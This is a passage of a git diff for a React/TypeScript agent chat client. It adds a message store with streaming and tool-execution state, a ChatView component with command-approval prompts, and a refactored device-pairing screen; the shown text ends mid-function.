tokensRemoved?: number
|
||||
tokensKept?: number
|
||||
reason: string
|
||||
}
|
||||
|
||||
export interface Message {
|
||||
id: string
|
||||
role: "user" | "assistant" | "toolResult"
|
||||
content: ContentBlock[]
|
||||
agentId: string
|
||||
// AssistantMessage metadata
|
||||
stopReason?: string
|
||||
// ToolResult fields (only when role === "toolResult")
|
||||
toolCallId?: string
|
||||
toolName?: string
|
||||
toolArgs?: Record<string, unknown>
|
||||
toolStatus?: ToolStatus
|
||||
isError?: boolean
|
||||
}
|
||||
|
||||
/** Parameters needed to route a message through the gateway */
|
||||
export interface SendContext {
|
||||
hubId: string
|
||||
agentId: string
|
||||
send: (to: string, action: string, payload: unknown) => void
|
||||
}
|
||||
|
||||
interface MessagesState {
|
||||
messages: Message[]
|
||||
streamingIds: Set<string>
|
||||
compacting: boolean
|
||||
lastCompaction: CompactionStats | null
|
||||
}
|
||||
|
||||
interface MessagesActions {
|
||||
sendMessage: (text: string, ctx: SendContext) => void
|
||||
addUserMessage: (content: string, agentId: string) => void
|
||||
addAssistantMessage: (content: string, agentId: string) => void
|
||||
updateMessage: (id: string, content: ContentBlock[]) => void
|
||||
loadMessages: (msgs: Message[]) => void
|
||||
clearMessages: () => void
|
||||
// Streaming
|
||||
startStream: (streamId: string, agentId: string) => void
|
||||
appendStream: (streamId: string, content: ContentBlock[]) => void
|
||||
endStream: (streamId: string, content: ContentBlock[], stopReason?: string) => void
|
||||
// Tool execution lifecycle
|
||||
startToolExecution: (agentId: string, toolCallId: string, toolName: string, args?: unknown) => void
|
||||
endToolExecution: (toolCallId: string, result?: unknown, isError?: boolean) => void
|
||||
// Compaction lifecycle
|
||||
startCompaction: () => void
|
||||
endCompaction: (stats: CompactionStats) => void
|
||||
}
|
||||
|
||||
export type MessagesStore = MessagesState & MessagesActions
|
||||
|
||||
export const useMessagesStore = create<MessagesStore>()((set, get) => ({
|
||||
messages: [],
|
||||
streamingIds: new Set<string>(),
|
||||
compacting: false,
|
||||
lastCompaction: null,
|
||||
|
||||
sendMessage: (text, ctx) => {
|
||||
get().addUserMessage(text, ctx.agentId)
|
||||
ctx.send(ctx.hubId, "message", { agentId: ctx.agentId, content: text })
|
||||
},
|
||||
|
||||
addUserMessage: (content, agentId) => {
|
||||
set((s) => ({
|
||||
messages: [...s.messages, {
|
||||
id: uuidv7(),
|
||||
role: "user",
|
||||
content: [{ type: "text" as const, text: content }],
|
||||
agentId,
|
||||
}],
|
||||
}))
|
||||
},
|
||||
|
||||
addAssistantMessage: (content, agentId) => {
|
||||
set((s) => ({
|
||||
messages: [...s.messages, {
|
||||
id: uuidv7(),
|
||||
role: "assistant",
|
||||
content: [{ type: "text" as const, text: content }],
|
||||
agentId,
|
||||
}],
|
||||
}))
|
||||
},
|
||||
|
||||
updateMessage: (id, content) => {
|
||||
set((s) => ({
|
||||
messages: s.messages.map((m) => (m.id === id ? { ...m, content } : m)),
|
||||
}))
|
||||
},
|
||||
|
||||
loadMessages: (msgs) => {
|
||||
set({ messages: msgs })
|
||||
},
|
||||
|
||||
clearMessages: () => {
|
||||
set({ messages: [], streamingIds: new Set(), compacting: false, lastCompaction: null })
|
||||
},
|
||||
|
||||
// --- Streaming: build assistant message incrementally ---
|
||||
|
||||
startStream: (streamId, agentId) => {
|
||||
set((s) => {
|
||||
const ids = new Set(s.streamingIds)
|
||||
ids.add(streamId)
|
||||
return {
|
||||
messages: [...s.messages, { id: streamId, role: "assistant" as const, content: [], agentId }],
|
||||
streamingIds: ids,
|
||||
}
|
||||
})
|
||||
},
|
||||
|
||||
// Replace the entire content array with the latest partial snapshot
|
||||
appendStream: (streamId, content) => {
|
||||
set((s) => ({
|
||||
messages: s.messages.map((m) => (m.id === streamId ? { ...m, content } : m)),
|
||||
}))
|
||||
},
|
||||
|
||||
endStream: (streamId, content, stopReason) => {
|
||||
set((s) => {
|
||||
const ids = new Set(s.streamingIds)
|
||||
ids.delete(streamId)
|
||||
// Find the agentId of the stream being ended to scope tool interruption
|
||||
const streamMsg = s.messages.find((m) => m.id === streamId)
|
||||
const streamAgentId = streamMsg?.agentId
|
||||
return {
|
||||
messages: s.messages.map((m) => {
|
||||
if (m.id === streamId) return { ...m, content, stopReason }
|
||||
// Interrupt running tool executions belonging to the same agent
|
||||
if (m.role === "toolResult" && m.toolStatus === "running" && m.agentId === streamAgentId) {
|
||||
return { ...m, toolStatus: "interrupted" as ToolStatus }
|
||||
}
|
||||
return m
|
||||
}),
|
||||
streamingIds: ids,
|
||||
}
|
||||
})
|
||||
},
|
||||
|
||||
// --- Tool execution: create / update toolResult messages ---
|
||||
|
||||
startToolExecution: (agentId, toolCallId, toolName, args) => {
|
||||
set((s) => ({
|
||||
messages: [...s.messages, {
|
||||
id: uuidv7(),
|
||||
role: "toolResult" as const,
|
||||
content: [],
|
||||
agentId,
|
||||
toolCallId,
|
||||
toolName,
|
||||
toolArgs: args as Record<string, unknown> | undefined,
|
||||
toolStatus: "running" as ToolStatus,
|
||||
isError: false,
|
||||
}],
|
||||
}))
|
||||
},
|
||||
|
||||
endToolExecution: (toolCallId, result, isError) => {
|
||||
set((s) => ({
|
||||
messages: s.messages.map((m) =>
|
||||
m.role === "toolResult" && m.toolCallId === toolCallId
|
||||
? {
|
||||
...m,
|
||||
toolStatus: (isError ? "error" : "success") as ToolStatus,
|
||||
isError: isError ?? false,
|
||||
content: result != null
|
||||
? [{ type: "text" as const, text: typeof result === "string" ? result : JSON.stringify(result) }]
|
||||
: [],
|
||||
}
|
||||
: m
|
||||
),
|
||||
}))
|
||||
},
|
||||
|
||||
// --- Compaction lifecycle ---
|
||||
|
||||
startCompaction: () => {
|
||||
set({ compacting: true })
|
||||
},
|
||||
|
||||
endCompaction: (stats) => {
|
||||
set({ compacting: false, lastCompaction: stats })
|
||||
},
|
||||
}))
|
||||
16
packages/store/src/types.ts
Normal file
16
packages/store/src/types.ts
Normal file
|
|
@ -0,0 +1,16 @@
|
|||
import type { ContentBlock } from "@multica/sdk"
|
||||
|
||||
export type ToolStatus = "running" | "success" | "error" | "interrupted"
|
||||
|
||||
export interface Message {
|
||||
id: string
|
||||
role: "user" | "assistant" | "toolResult"
|
||||
content: ContentBlock[]
|
||||
agentId: string
|
||||
stopReason?: string
|
||||
toolCallId?: string
|
||||
toolName?: string
|
||||
toolArgs?: Record<string, unknown>
|
||||
toolStatus?: ToolStatus
|
||||
isError?: boolean
|
||||
}
|
||||
|
|
@ -1,33 +0,0 @@
|
|||
"use client"
|
||||
|
||||
import { useState, useEffect } from "react"
|
||||
import { useConnectionStore } from "./connection-store"
|
||||
import { loadConnection } from "./connection"
|
||||
|
||||
/** Auto-connect from saved connection code on mount, skip if already connected */
|
||||
export function useAutoConnect(): { loading: boolean } {
|
||||
const connectionState = useConnectionStore((s) => s.connectionState)
|
||||
const [loading, setLoading] = useState(true)
|
||||
|
||||
useEffect(() => {
|
||||
const state = useConnectionStore.getState()
|
||||
if (state.connectionState !== "disconnected") {
|
||||
setLoading(false)
|
||||
return
|
||||
}
|
||||
const saved = loadConnection()
|
||||
if (saved) {
|
||||
state.connect(saved)
|
||||
} else {
|
||||
setLoading(false)
|
||||
}
|
||||
}, [])
|
||||
|
||||
useEffect(() => {
|
||||
if (connectionState !== "disconnected") {
|
||||
setLoading(false)
|
||||
}
|
||||
}, [connectionState])
|
||||
|
||||
return { loading }
|
||||
}
|
||||
|
|
@ -117,7 +117,7 @@ export const ChatInput = forwardRef<ChatInputRef, ChatInputProps>(
|
|||
<EditorContent editor={editor} />
|
||||
<div className="flex items-center justify-end pt-2">
|
||||
<Button size="icon-lg" onClick={handleSubmit} disabled={disabled}>
|
||||
<HugeiconsIcon strokeWidth={2.5} icon={ArrowUpIcon} />
|
||||
<HugeiconsIcon className="size-4.5" strokeWidth={2.5} icon={ArrowUpIcon} />
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
|
|
|
|||
245
packages/ui/src/components/chat-view.tsx
Normal file
245
packages/ui/src/components/chat-view.tsx
Normal file
|
|
@ -0,0 +1,245 @@
|
|||
"use client";
|
||||
|
||||
import { useRef, useEffect, useCallback } from "react";
|
||||
import { Button } from "@multica/ui/components/ui/button";
|
||||
import { Skeleton } from "@multica/ui/components/ui/skeleton";
|
||||
import { ChatInput } from "@multica/ui/components/chat-input";
|
||||
import { MessageList } from "@multica/ui/components/message-list";
|
||||
import { MulticaIcon } from "@multica/ui/components/multica-icon";
|
||||
import { ExecApprovalItem } from "@multica/ui/components/exec-approval-item";
|
||||
import { useScrollFade } from "@multica/ui/hooks/use-scroll-fade";
|
||||
import { useAutoScroll } from "@multica/ui/hooks/use-auto-scroll";
|
||||
import type { Message } from "@multica/store";
|
||||
|
||||
export interface ChatViewError {
|
||||
code: string;
|
||||
message: string;
|
||||
}
|
||||
|
||||
export interface ChatViewApproval {
|
||||
approvalId: string;
|
||||
command: string;
|
||||
cwd?: string;
|
||||
riskLevel: "safe" | "needs-review" | "dangerous";
|
||||
riskReasons: string[];
|
||||
expiresAtMs: number;
|
||||
}
|
||||
|
||||
export interface ChatViewProps {
|
||||
messages: Message[];
|
||||
streamingIds: Set<string>;
|
||||
isLoading: boolean;
|
||||
isLoadingHistory: boolean;
|
||||
isLoadingMore?: boolean;
|
||||
hasMore?: boolean;
|
||||
error: ChatViewError | null;
|
||||
pendingApprovals: ChatViewApproval[];
|
||||
sendMessage: (text: string) => void;
|
||||
loadMore?: () => void;
|
||||
resolveApproval: (approvalId: string, decision: "allow-once" | "allow-always" | "deny") => void;
|
||||
onDisconnect?: () => void;
|
||||
}
|
||||
|
||||
export function ChatView({
|
||||
messages,
|
||||
streamingIds,
|
||||
isLoading,
|
||||
isLoadingHistory,
|
||||
isLoadingMore = false,
|
||||
hasMore = false,
|
||||
error,
|
||||
pendingApprovals,
|
||||
sendMessage,
|
||||
loadMore,
|
||||
resolveApproval,
|
||||
onDisconnect,
|
||||
}: ChatViewProps) {
|
||||
const mainRef = useRef<HTMLElement>(null);
|
||||
const sentinelRef = useRef<HTMLDivElement>(null);
|
||||
const fadeStyle = useScrollFade(mainRef);
|
||||
const { suppressAutoScroll } = useAutoScroll(mainRef);
|
||||
|
||||
// scrollHeight compensation for prepended messages
|
||||
const prevScrollHeightRef = useRef(0);
|
||||
const isPrependingRef = useRef(false);
|
||||
const unlockRef = useRef<(() => void) | null>(null);
|
||||
|
||||
// Snapshot scrollHeight before prepend render
|
||||
const onLoadMore = useCallback(() => {
|
||||
if (!loadMore || !mainRef.current) return;
|
||||
const el = mainRef.current;
|
||||
prevScrollHeightRef.current = el.scrollHeight;
|
||||
isPrependingRef.current = true;
|
||||
// Lock auto-scroll during prepend
|
||||
unlockRef.current = suppressAutoScroll();
|
||||
loadMore();
|
||||
}, [loadMore, suppressAutoScroll]);
|
||||
|
||||
// After messages change, compensate scroll position if we just prepended
|
||||
useEffect(() => {
|
||||
const el = mainRef.current;
|
||||
if (!el || !isPrependingRef.current) return;
|
||||
|
||||
isPrependingRef.current = false;
|
||||
|
||||
// Double-rAF ensures DOM layout is complete before compensating
|
||||
requestAnimationFrame(() => {
|
||||
requestAnimationFrame(() => {
|
||||
const newScrollHeight = el.scrollHeight;
|
||||
const heightDiff = newScrollHeight - prevScrollHeightRef.current;
|
||||
if (heightDiff > 0) {
|
||||
el.scrollTop = el.scrollTop + heightDiff;
|
||||
}
|
||||
// Release auto-scroll lock after position is restored
|
||||
unlockRef.current?.();
|
||||
unlockRef.current = null;
|
||||
});
|
||||
});
|
||||
}, [messages]);
|
||||
|
||||
// IntersectionObserver to trigger loadMore when sentinel is visible
|
||||
// Skip during initial history load to avoid premature triggering
|
||||
useEffect(() => {
|
||||
const sentinel = sentinelRef.current;
|
||||
if (!sentinel || isLoadingHistory) return;
|
||||
|
||||
const observer = new IntersectionObserver(
|
||||
([entry]) => {
|
||||
if (entry.isIntersecting && hasMore && !isLoadingMore) {
|
||||
onLoadMore();
|
||||
}
|
||||
},
|
||||
{ rootMargin: "100px" },
|
||||
);
|
||||
|
||||
observer.observe(sentinel);
|
||||
return () => observer.disconnect();
|
||||
}, [hasMore, isLoadingMore, isLoadingHistory, onLoadMore]);
|
||||
|
||||
return (
|
||||
<div className="flex-1 flex flex-col min-h-0">
|
||||
{onDisconnect && (
|
||||
<div className="container flex items-center justify-end px-4 py-2">
|
||||
<button
|
||||
onClick={onDisconnect}
|
||||
className="text-xs text-muted-foreground hover:text-foreground"
|
||||
>
|
||||
Disconnect
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<main ref={mainRef} className="flex-1 overflow-y-auto min-h-0" style={fadeStyle}>
|
||||
{isLoadingHistory && messages.length === 0 ? (
|
||||
<div className="px-4 py-6 max-w-4xl mx-auto">
|
||||
{/* User bubble */}
|
||||
<div className="flex justify-end my-2">
|
||||
<Skeleton className="h-8 w-[30%] rounded-md" />
|
||||
</div>
|
||||
{/* Assistant multi-line */}
|
||||
<div className="space-y-2 py-1 px-2.5 my-1">
|
||||
<Skeleton className="h-3.5 w-full" />
|
||||
<Skeleton className="h-3.5 w-[88%]" />
|
||||
<Skeleton className="h-3.5 w-[65%]" />
|
||||
</div>
|
||||
{/* Tool row */}
|
||||
<div className="px-2.5 my-1">
|
||||
<Skeleton className="h-6 w-44 rounded" />
|
||||
</div>
|
||||
{/* Assistant short reply */}
|
||||
<div className="space-y-2 py-1 px-2.5 my-1">
|
||||
<Skeleton className="h-3.5 w-[92%]" />
|
||||
<Skeleton className="h-3.5 w-[55%]" />
|
||||
</div>
|
||||
{/* User bubble */}
|
||||
<div className="flex justify-end my-2">
|
||||
<Skeleton className="h-8 w-[42%] rounded-md" />
|
||||
</div>
|
||||
{/* Assistant reply */}
|
||||
<div className="space-y-2 py-1 px-2.5 my-1">
|
||||
<Skeleton className="h-3.5 w-full" />
|
||||
<Skeleton className="h-3.5 w-[80%]" />
|
||||
<Skeleton className="h-3.5 w-[70%]" />
|
||||
<Skeleton className="h-3.5 w-[40%]" />
|
||||
</div>
|
||||
{/* User bubble */}
|
||||
<div className="flex justify-end my-2">
|
||||
<Skeleton className="h-8 w-[22%] rounded-md" />
|
||||
</div>
|
||||
{/* Assistant reply */}
|
||||
<div className="space-y-2 py-1 px-2.5 my-1">
|
||||
<Skeleton className="h-3.5 w-[75%]" />
|
||||
<Skeleton className="h-3.5 w-[50%]" />
|
||||
</div>
|
||||
</div>
|
||||
) : messages.length === 0 && pendingApprovals.length === 0 ? (
|
||||
<div className="flex items-center justify-center h-full">
|
||||
<div className="flex items-center gap-3 text-muted-foreground">
|
||||
<MulticaIcon className="size-5 shrink-0" />
|
||||
<div>
|
||||
<p className="text-sm font-medium">Start a conversation</p>
|
||||
<p className="text-xs text-muted-foreground/70">
|
||||
Type a message below to chat with your Agent
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
) : (
|
||||
<>
|
||||
{/* Sentinel element for IntersectionObserver load-more trigger */}
|
||||
<div ref={sentinelRef} className="h-px shrink-0" />
|
||||
{isLoadingMore && (
|
||||
<div className="flex justify-center py-3">
|
||||
<div className="text-xs text-muted-foreground animate-pulse">
|
||||
Loading older messages...
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
<MessageList messages={messages} streamingIds={streamingIds} />
|
||||
{pendingApprovals.length > 0 && (
|
||||
<div className="relative px-4 max-w-4xl mx-auto">
|
||||
{pendingApprovals.map((approval) => (
|
||||
<ExecApprovalItem
|
||||
key={approval.approvalId}
|
||||
command={approval.command}
|
||||
cwd={approval.cwd}
|
||||
riskLevel={approval.riskLevel}
|
||||
riskReasons={approval.riskReasons}
|
||||
expiresAtMs={approval.expiresAtMs}
|
||||
onDecision={(decision) => resolveApproval(approval.approvalId, decision)}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
</main>
|
||||
|
||||
{error && (
|
||||
<div className="container px-4" role="alert" aria-live="polite">
|
||||
<div className="rounded-lg bg-destructive/5 border border-destructive/15 text-xs px-3 py-2 flex items-center justify-between gap-3">
|
||||
<span className="text-foreground leading-snug">{error.message}</span>
|
||||
{onDisconnect && (
|
||||
<Button
|
||||
variant="destructive"
|
||||
size="sm"
|
||||
onClick={onDisconnect}
|
||||
className="shrink-0 text-xs h-7 px-2.5"
|
||||
>
|
||||
Disconnect
|
||||
</Button>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<footer className="container px-4 pb-3 pt-1">
|
||||
<ChatInput
|
||||
onSubmit={sendMessage}
|
||||
disabled={isLoading || !!error}
|
||||
placeholder={error ? "Connection error" : "Ask your Agent..."}
|
||||
/>
|
||||
</footer>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
@ -1,134 +0,0 @@
|
|||
"use client";
|
||||
|
||||
import { useRef, useCallback, useState, useEffect } from "react";
|
||||
import { Button } from "@multica/ui/components/ui/button";
|
||||
import { ChatInput } from "@multica/ui/components/chat-input";
|
||||
import { useConnectionStore, useMessagesStore, useAutoConnect } from "@multica/store";
|
||||
import { useScrollFade } from "@multica/ui/hooks/use-scroll-fade";
|
||||
import { useAutoScroll } from "@multica/ui/hooks/use-auto-scroll";
|
||||
import { useIsMobile } from "@multica/ui/hooks/use-mobile";
|
||||
import { HugeiconsIcon } from "@hugeicons/react";
|
||||
import { CheckmarkCircle02Icon } from "@hugeicons/core-free-icons";
|
||||
import { ConnectPrompt } from "./connect-prompt";
|
||||
import { MessageList } from "./message-list";
|
||||
import { ChatSkeleton } from "./chat-skeleton";
|
||||
|
||||
export function Chat() {
|
||||
const { loading } = useAutoConnect()
|
||||
|
||||
const agentId = useConnectionStore((s) => s.agentId)
|
||||
const gwState = useConnectionStore((s) => s.connectionState)
|
||||
const hubId = useConnectionStore((s) => s.hubId)
|
||||
const lastError = useConnectionStore((s) => s.lastError)
|
||||
const isNewDevice = useConnectionStore((s) => s.isNewDevice)
|
||||
const isMobile = useIsMobile()
|
||||
|
||||
const messages = useMessagesStore((s) => s.messages)
|
||||
const streamingIds = useMessagesStore((s) => s.streamingIds)
|
||||
|
||||
// Show success overlay for 2s when a new device is approved by Owner
|
||||
const [showVerifySuccess, setShowVerifySuccess] = useState(false)
|
||||
useEffect(() => {
|
||||
if (gwState === "registered" && isNewDevice === true) {
|
||||
setShowVerifySuccess(true)
|
||||
const timer = setTimeout(() => {
|
||||
setShowVerifySuccess(false)
|
||||
useConnectionStore.setState({ isNewDevice: null })
|
||||
}, 2000)
|
||||
return () => clearTimeout(timer)
|
||||
}
|
||||
}, [gwState, isNewDevice])
|
||||
|
||||
const isConnected = gwState === "registered" && !!hubId && !!agentId
|
||||
|
||||
const handleSend = useCallback((text: string) => {
|
||||
const { hubId, agentId, send, connectionState } = useConnectionStore.getState()
|
||||
if (connectionState !== "registered" || !hubId || !agentId) return
|
||||
useMessagesStore.getState().sendMessage(text, { hubId, agentId, send })
|
||||
}, [])
|
||||
|
||||
const handleDisconnect = useCallback(() => {
|
||||
useConnectionStore.getState().disconnect()
|
||||
}, [])
|
||||
|
||||
const mainRef = useRef<HTMLElement>(null)
|
||||
const fadeStyle = useScrollFade(mainRef)
|
||||
useAutoScroll(mainRef)
|
||||
|
||||
return (
|
||||
<div className="h-full flex flex-col overflow-hidden w-full">
|
||||
{/* Verify success overlay — shown for 2s when new device approved */}
|
||||
{showVerifySuccess && (
|
||||
<div className={
|
||||
isMobile
|
||||
? "fixed inset-0 z-50 bg-background flex flex-col items-center justify-center gap-5 px-6 animate-in fade-in duration-300"
|
||||
: "absolute inset-0 z-50 bg-background flex flex-col items-center justify-center gap-5 px-6 animate-in fade-in duration-300"
|
||||
}>
|
||||
<HugeiconsIcon
|
||||
icon={CheckmarkCircle02Icon}
|
||||
className="size-14 text-(--tool-success) animate-in zoom-in duration-300"
|
||||
/>
|
||||
<div className="text-center space-y-1.5">
|
||||
<p className="text-base font-medium">Connected</p>
|
||||
<p className="text-xs text-muted-foreground">
|
||||
Your device has been approved
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{isConnected && (
|
||||
<div className="flex items-center justify-end px-4 py-1 max-w-4xl mx-auto w-full">
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
onClick={handleDisconnect}
|
||||
className="text-xs text-muted-foreground"
|
||||
>
|
||||
Disconnect
|
||||
</Button>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<main ref={mainRef} className="flex-1 overflow-y-auto min-h-0" style={fadeStyle}>
|
||||
{loading ? (
|
||||
<ChatSkeleton />
|
||||
) : !isConnected ? (
|
||||
<ConnectPrompt />
|
||||
) : messages.length === 0 ? (
|
||||
<div className="flex items-center justify-center h-full text-muted-foreground text-sm">
|
||||
Your Agent is ready
|
||||
</div>
|
||||
) : (
|
||||
<MessageList messages={messages} streamingIds={streamingIds} />
|
||||
)}
|
||||
</main>
|
||||
|
||||
{/* Error banner */}
|
||||
{lastError && (
|
||||
<div className="px-4 py-2 max-w-4xl mx-auto w-full" role="alert" aria-live="polite">
|
||||
<div className="rounded-md bg-destructive/10 text-destructive text-sm px-3 py-2 flex items-center justify-between">
|
||||
<span>{lastError.message} ({lastError.code})</span>
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Dismiss error"
|
||||
onClick={() => useConnectionStore.setState({ lastError: null })}
|
||||
className="text-destructive/60 hover:text-destructive ml-2 text-xs focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-1 rounded outline-none"
|
||||
>
|
||||
×
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Footer */}
|
||||
<footer className="w-full p-2 pt-1 max-w-4xl mx-auto">
|
||||
<ChatInput
|
||||
onSubmit={handleSend}
|
||||
disabled={!isConnected}
|
||||
placeholder={!isConnected ? "Scan QR code to get started" : "Ask your Agent..."}
|
||||
/>
|
||||
</footer>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
@ -3,11 +3,7 @@
|
|||
import { useState, useCallback, useRef, useEffect } from "react";
|
||||
import { Button } from "@multica/ui/components/ui/button";
|
||||
import { Textarea } from "@multica/ui/components/ui/textarea";
|
||||
import {
|
||||
useConnectionStore,
|
||||
parseConnectionCode,
|
||||
saveConnection,
|
||||
} from "@multica/store";
|
||||
import { Spinner } from "@multica/ui/components/spinner";
|
||||
import { useIsMobile } from "@multica/ui/hooks/use-mobile";
|
||||
import { HugeiconsIcon } from "@hugeicons/react";
|
||||
import {
|
||||
|
|
@ -17,23 +13,62 @@ import {
|
|||
Alert02Icon,
|
||||
} from "@hugeicons/core-free-icons";
|
||||
import { QrScannerView } from "@multica/ui/components/qr-scanner-view";
|
||||
import { Spinner } from "@multica/ui/components/spinner";
|
||||
import { MulticaIcon } from "@multica/ui/components/multica-icon";
|
||||
import { parseConnectionCode } from "@multica/store";
|
||||
|
||||
function StatusWrapper({ fullscreen, children }: { fullscreen?: boolean; children: React.ReactNode }) {
|
||||
return (
|
||||
<div className={fullscreen
|
||||
? "fixed inset-0 z-50 bg-background flex flex-col items-center justify-center gap-5 px-6"
|
||||
: "flex flex-col items-center justify-center h-full gap-5 px-4"
|
||||
}>
|
||||
{children}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function PairingHeader({ title, description }: { title: string; description: string }) {
|
||||
return (
|
||||
<div className="text-center space-y-1">
|
||||
<div className="flex items-center justify-center gap-2">
|
||||
<MulticaIcon className="size-4.5 text-muted-foreground/50" />
|
||||
<p className="text-base font-medium">{title}</p>
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground">{description}</p>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export interface ConnectionIdentity {
|
||||
gateway: string;
|
||||
hubId: string;
|
||||
agentId: string;
|
||||
}
|
||||
|
||||
export interface DevicePairingProps {
|
||||
connectionState: string;
|
||||
lastError: string | null;
|
||||
onConnect: (identity: ConnectionIdentity, token: string) => void;
|
||||
onCancel: () => void;
|
||||
}
|
||||
|
||||
type Mode = "scan" | "paste";
|
||||
type PasteState = "idle" | "success" | "error";
|
||||
|
||||
/** Shown while connecting to Gateway or waiting for Owner approval */
|
||||
function ConnectionStatus({ fullscreen }: { fullscreen?: boolean }) {
|
||||
const gwState = useConnectionStore((s) => s.connectionState);
|
||||
const disconnect = useConnectionStore((s) => s.disconnect);
|
||||
const isVerifying = gwState === "verifying";
|
||||
|
||||
const wrapper = fullscreen
|
||||
? "fixed inset-0 z-50 bg-background flex flex-col items-center justify-center gap-5 px-6"
|
||||
: "flex flex-col items-center justify-center h-full gap-5 px-4";
|
||||
function ConnectionStatus({
|
||||
connectionState,
|
||||
fullscreen,
|
||||
onCancel,
|
||||
}: {
|
||||
connectionState: string;
|
||||
fullscreen?: boolean;
|
||||
onCancel: () => void;
|
||||
}) {
|
||||
const isVerifying = connectionState === "verifying";
|
||||
|
||||
return (
|
||||
<div className={wrapper}>
|
||||
<StatusWrapper fullscreen={fullscreen}>
|
||||
<Spinner className="text-muted-foreground text-sm" />
|
||||
<div className="text-center space-y-1.5">
|
||||
<p className="text-base font-medium">
|
||||
|
|
@ -49,27 +84,29 @@ function ConnectionStatus({ fullscreen }: { fullscreen?: boolean }) {
|
|||
variant="ghost"
|
||||
size="sm"
|
||||
className="text-xs text-muted-foreground"
|
||||
onClick={disconnect}
|
||||
onClick={onCancel}
|
||||
>
|
||||
Cancel
|
||||
</Button>
|
||||
</div>
|
||||
</StatusWrapper>
|
||||
);
|
||||
}
|
||||
|
||||
/** Shown when Owner rejects the connection, auto-dismisses after 2s */
|
||||
function RejectedStatus({ fullscreen, onDismiss }: { fullscreen?: boolean; onDismiss: () => void }) {
|
||||
function RejectedStatus({
|
||||
fullscreen,
|
||||
onDismiss,
|
||||
}: {
|
||||
fullscreen?: boolean;
|
||||
onDismiss: () => void;
|
||||
}) {
|
||||
useEffect(() => {
|
||||
const timer = setTimeout(onDismiss, 2000);
|
||||
return () => clearTimeout(timer);
|
||||
}, [onDismiss]);
|
||||
|
||||
const wrapper = fullscreen
|
||||
? "fixed inset-0 z-50 bg-background flex flex-col items-center justify-center gap-5 px-6"
|
||||
: "flex flex-col items-center justify-center h-full gap-5 px-4";
|
||||
|
||||
return (
|
||||
<div className={wrapper}>
|
||||
<StatusWrapper fullscreen={fullscreen}>
|
||||
<HugeiconsIcon
|
||||
icon={Alert02Icon}
|
||||
className="size-14 text-destructive animate-in zoom-in duration-300"
|
||||
|
|
@ -80,13 +117,16 @@ function RejectedStatus({ fullscreen, onDismiss }: { fullscreen?: boolean; onDis
|
|||
The device owner declined this connection
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</StatusWrapper>
|
||||
);
|
||||
}
|
||||
|
||||
export function ConnectPrompt() {
|
||||
const gwState = useConnectionStore((s) => s.connectionState);
|
||||
const lastError = useConnectionStore((s) => s.lastError);
|
||||
export function DevicePairing({
|
||||
connectionState,
|
||||
lastError,
|
||||
onConnect,
|
||||
onCancel,
|
||||
}: DevicePairingProps) {
|
||||
const [mode, setMode] = useState<Mode>("scan");
|
||||
const [codeInput, setCodeInput] = useState("");
|
||||
const [pasteState, setPasteState] = useState<PasteState>("idle");
|
||||
|
|
@ -95,106 +135,111 @@ export function ConnectPrompt() {
|
|||
const isMobile = useIsMobile();
|
||||
const validatingRef = useRef(false);
|
||||
|
||||
// Detect verify rejection: lastError appears while disconnected
|
||||
// Detect verify rejection
|
||||
useEffect(() => {
|
||||
if (lastError?.code === "VERIFY_ERROR" && gwState === "disconnected") {
|
||||
if (lastError && connectionState === "disconnected") {
|
||||
setShowRejected(true);
|
||||
}
|
||||
}, [lastError, gwState]);
|
||||
}, [lastError, connectionState]);
|
||||
|
||||
const handleDismissRejected = useCallback(() => {
|
||||
setShowRejected(false);
|
||||
useConnectionStore.setState({ lastError: null });
|
||||
}, []);
|
||||
|
||||
const tryConnect = useCallback((raw: string) => {
|
||||
const trimmed = raw.trim();
|
||||
if (!trimmed || validatingRef.current) return;
|
||||
validatingRef.current = true;
|
||||
try {
|
||||
const info = parseConnectionCode(trimmed);
|
||||
setPasteState("success");
|
||||
navigator.vibrate?.(50);
|
||||
// Let the user see the success state before connecting
|
||||
setTimeout(() => {
|
||||
saveConnection(info);
|
||||
useConnectionStore.getState().connect(info);
|
||||
}, 600);
|
||||
} catch (e) {
|
||||
setPasteState("error");
|
||||
setPasteError((e as Error).message || "Invalid code");
|
||||
navigator.vibrate?.([30, 50, 30]);
|
||||
setTimeout(() => {
|
||||
setPasteState("idle");
|
||||
setPasteError(null);
|
||||
setCodeInput("");
|
||||
}, 2000);
|
||||
} finally {
|
||||
validatingRef.current = false;
|
||||
}
|
||||
}, []);
|
||||
const tryConnect = useCallback(
|
||||
(raw: string) => {
|
||||
const trimmed = raw.trim();
|
||||
if (!trimmed || validatingRef.current) return;
|
||||
validatingRef.current = true;
|
||||
try {
|
||||
const info = parseConnectionCode(trimmed);
|
||||
setPasteState("success");
|
||||
navigator.vibrate?.(50);
|
||||
setTimeout(() => {
|
||||
onConnect(
|
||||
{ gateway: info.gateway, hubId: info.hubId, agentId: info.agentId },
|
||||
info.token,
|
||||
);
|
||||
}, 600);
|
||||
} catch (e) {
|
||||
setPasteState("error");
|
||||
setPasteError((e as Error).message || "Invalid code");
|
||||
navigator.vibrate?.([30, 50, 30]);
|
||||
setTimeout(() => {
|
||||
setPasteState("idle");
|
||||
setPasteError(null);
|
||||
setCodeInput("");
|
||||
}, 2000);
|
||||
} finally {
|
||||
validatingRef.current = false;
|
||||
}
|
||||
},
|
||||
[onConnect],
|
||||
);
|
||||
|
||||
// Auto-validate on paste
|
||||
const handlePaste = useCallback(
|
||||
(e: React.ClipboardEvent) => {
|
